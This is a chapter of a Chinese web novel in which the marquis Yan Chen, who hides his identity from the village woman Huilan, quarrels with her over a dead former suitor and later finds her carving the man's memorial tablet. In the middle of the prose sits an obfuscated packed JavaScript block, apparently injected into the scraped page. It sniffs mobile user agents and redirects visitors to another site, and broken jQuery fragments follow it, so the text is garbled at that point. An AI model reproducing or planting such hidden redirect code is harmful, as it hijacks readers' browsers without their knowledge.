书房明亮如昼，一尊被摔崩了角的砚台待在屋内中央，仆人正端着铜盆一遍遍擦拭飞溅到四处的墨痕，未得吩咐，并不敢去捡拾。


    严谌闭目躺在矮榻之上，唇色惨白，胸膛新裹了纱布，缓缓起伏。


    “回禀侯爷，是佘姑娘唤下官前来照看。”


    听闻这话，他长睫轻启，面颊浮上一层薄红，微微支起身，将目光投向周御医，压了压欣喜，才问：“她怎么唤的你？”


    “只说侯爷受了伤，”周御医斟酌片刻，如实道，“又嘱托下官，诊治过后，替她送一副避子药……”


    话音在严谌骤然阴沉、翻涌起怨毒的目光中戛然而止，周御医额角渗出一滴冷汗，抬袖拭去。


    良久，他冷冷开口：


    “换作补药送去。”


    严谌为蕙兰这不知好歹的举动大动肝火，暗恨不已，单单如此，根本无法泄愤，于是道：“往里头加黄连，要比昨日的药苦上十分。”


    周御医松了口气，连忙道：“苦二十分，也是能的。”


    严谌眼神却更加不善，周御医不做停歇，立刻转了话锋：“十分、十分是最好，恰到好处。这伤要静养，勿食发物，不可久坐，不可劳累……”


    周御医絮絮说罢便告退，侍从常言躬身询问：“侯爷，书房不宜休养，是否回院子去？”


    常言口中的院子，自然不是芳满园，而是蕙兰由轻罗陪同见过的那主院。


    江阴侯府从前和它的主人一般冷寂萧索。


    皇帝喜好奢华，宫殿以金砖铺地，严谌得他恩宠，常常来往于侯府皇城之间，便格外厌恶淫靡作风，侯府在蕙兰到来前连仆役都寥寥无几，更无拥拥簇簇的荼蘼花，何曾出现过眼下鲜花着锦的盛景。


    她目之所及，皆是他特意命人布置的，一眼望去，处处光鲜，但也只是如同严谌其人，金玉其外罢了。


    他待在自己屋内，辗转难安，不断回忆起蕙兰表露出的抗拒与厌恶，想起她被他触碰，惊惧得捅伤了他；回转来求他饶恕，竟也是顾虑旁人，怕他祸及她那珍宝似的深哥；不肯留下他的孩子，特意去要避子药，大约叫御医为他医治不过是个添头，顺手而为，并非真的担忧他性命——


    可恨他以为她施舍他几分关切，真心欢喜，回过味来，简直快要怄死，一时血气上涌，额角青筋直跳，无论如何没法儿安睡。


    严谌仿佛觉得他顶着侯爷的名号露了面，她便该顺从、迎合，更该把所有爱意投注于他，倒将在蕙兰看来他仅仅是个生人这件事忘得一干二净。


    -


    岸边积雪最初是松软的，踏上去，整只脚都能陷入里头，走的人多了，雪渐渐化成水，又在北地的寒冬里结成一层滑腻的冰壳。


    天亮得越发晚，蕙兰提起木桶时，视野内茫茫一片昏黑，她不知踩到哪里，猛地打了个滑，重重跌下去，桶里的水泼洒出来，打湿了袖口与衣摆，脚踝处的钝痛顺着骨头往上爬。


    她急促地吸了两口气，手肘抵在地上，弓起身子，没由来地泄了力气，忽然呆怔。


    “蕙兰。”


    蕙兰抬头，眼前出现一只手，掌心粗糙，带着常年劳作磨出的薄茧，还有几道细小陈旧的伤痕。


    关裕俯着身，目光温和，又唤了一声：“蕙兰。”


    她眨了眨眼，回过神，搭着他的手爬起来，小声道谢，他松开她，拾起地上的桶，重新打好了水，陪着她往家走。


    蕙兰很疼，那疼却不只是脚踝，像是从骨头里渗出来，使得她喘不过气。


    她一瘸一拐地迈着腿，空旷的雪地慢慢长出枯败的落光了叶子的树，向前的路变得陡峭而狭窄。


    她终于看清四周，迟疑着停下，缓缓转头，看向与她同行的男人。


    那人随她止步。


    月光落在他身上，完整饱满的皮肉一点点消褪，露出森森白骨，只零星挂着几缕碎屑，带着野兽的齿印。骷髅微微歪了歪头，空洞的眼窝盯着她，粗噶沙哑的声音一字一顿响起：


    蕙、兰。


    ……


    “蕙兰……蕙兰……”


    剧烈的战栗从四肢百骸窜出，蕙兰遽然惊醒，冷汗涔涔，眼睫不住颤动，如濒死蝴蝶扇动的薄翅，投下的阴影掩去了瞳孔中近在咫尺的人影。


    严谌眉头紧锁，正替她擦拭汗珠，不断呼唤她的名字，用手背试探她额头的温度。


    蕙兰毫无原由地感到一阵恶心，可更浓烈的悲恸压过一切，淹没了她。


    她偎进他怀里，被轻柔地拍抚着后背，终于能够平静些许。


    “梦到了什么？”严谌状似无意问道，“你在喊关裕的名字。”


    “我梦到很久以前，”蕙兰神色恍惚，“他帮了我，那时候，我是感激他的……他……怎么偏偏是他……”


    “是啊。”他冷淡附和，语气不辨喜怒，“怎么偏偏是他。”


    严谌揽着她坐起，为她披了衣裳，端过一碗乌黑的药，蕙兰闻得嘴里发苦，偏头避开：“深哥，我不想喝。”


    “蕙兰，你发了热，要喝药才能好得快一些。为何会病？是受了风？”


    蕙兰蓦地僵住，知道这场病和夜里不堪的经历脱不了干系，怕他生疑，不敢再说，只得伸手去接药碗。


    待她吃了药，他奖赏似的喂来一颗杏脯，随即捧住她的脸在唇上轻轻啄吻，柔声夸赞：“好乖。”


    蕙兰眼底微潮，内疚至极，快要哽咽，将脸埋到他怀里遮掩，严谌却只见她情态是全然的信任与依赖，心中爱意鼓胀，兀自带起笑意。


    二人彼此依靠，许久才分开，严谌坐到桌边处理文书，她便静静看他写字。


    严谌在这上头没什么刻意掩盖的心思，莹润指尖捏着紫毫笔，落字如松如竹，被她看得来了兴致，忽道：“想不想学？”


    蕙兰怔住，他又凑过来，再次问：“蕙兰，我教你写字，想学么？”


    她心里压着块沉甸甸的石头，笑起来也勉强，但对认字写字是愿意的，于是强打精神，坐了过去。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133576|193962||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    严谌另展一张纸，站在她身后，从背后环着她，握住她的手，带着她一笔一划写下“蕙兰”二字。


    蕙兰照着描画，十分专注，发丝垂落，叫他漫不经心地挑起，别到耳后，细微的痒意弄得她那一笔歪歪斜斜，最后写得稚拙，和他的字相比，实在远远不足。


    不过她不大在意好看与否，生疏地捏着笔杆，打量自己的笔迹，终于高兴了些。


    “深哥。”她抬眸望他，认真地问，“‘关裕’怎么写呢？”


    那张俊美的面皮险些扭曲，严谌勉力压下戾气，唇线紧绷，过了好半晌，从齿间挤出一句冷硬的话：“怎么想学这两个字？晦气。”


    蕙兰缓缓蹙眉。


    “他已经死了，深哥还要和他置气吗？我以为你当着官，最懂得道理……”


    “世上竟有这种让新婚夫君教旧情人名字如何书写的道理么？”严谌皮笑肉不笑，讥讽道，“哪里的乡野土俗吧。”


    蕙兰遭受欺辱后，本就心神不宁，好不容易欢喜些，被这句话一激，喉咙立刻发了涩，疲倦得厉害，提不起劲和他争执，便沉默地挪开了视线，不再看他。


    她一副不愿多说的模样，严谌力道使在棉花上，再利的舌剑也没了用处，满腔怒气无法可发，连带着刀伤隐隐作痛。


    他反手将那写了两个“蕙兰”的纸揉作一团，怫然离去。


    待最后一丝动静消失，蕙兰慢慢抚平了那团皱巴巴的纸，又在上边一遍一遍描写起来，写到第十五遍时，不知怎么的，想起户帖有他的名字，于是起身翻找出来，依样画葫芦，笔尖便多出许多个“赵深”。


    墨色深浅不一，彼此紧密挨着，也算工整。


    她将颈间玉坠包在掌中，攥着拳头，用手背擦了擦面上的水迹，搁笔出门。


    轻罗住在耳房，平日也时常待在屋内，见蕙兰寻来，她其实有些意外，因为这院子的主子不是个喜欢差使人的，极少主动开口要什么。


    除了这一回，她向她求了一样东西，又向她问了一件事。


    -


    严谌换过伤药，理完公务，虽然依旧有些埋怨，但消了许多气，暮色四合，终究还是回到了芳满园。


    蕙兰病容未褪，十分憔悴，似乎畏冷，蜷在被子里，只露出眉眼，此刻安然入睡，显出几许恬静，令他轻易地软下心肠。


    一个死人，畜牲的腹中餐罢了，骨头都是碎的，他何必为那贱人同她计较。


    他放轻脚步，爱怜地望着睡梦中的人，伸手替她拉低些锦被。指尖一动，却触到一截硬木，一小块木板随即从被角露了出来。


    严谌眉峰微蹙，伸手将锦被缓缓往下继续扯落。


    映入眼帘的，是一方带着关裕名字的牌位，尚未刻全，被她抱在怀里，与她亲近地紧贴着。


    一柄刻刀静静卧在枕边，她交错着抱住牌位的那双手上，有处不慎划出的破口，凝着鲜红的血珠，是雕刻时分心所致。


    他急促地喘息起来。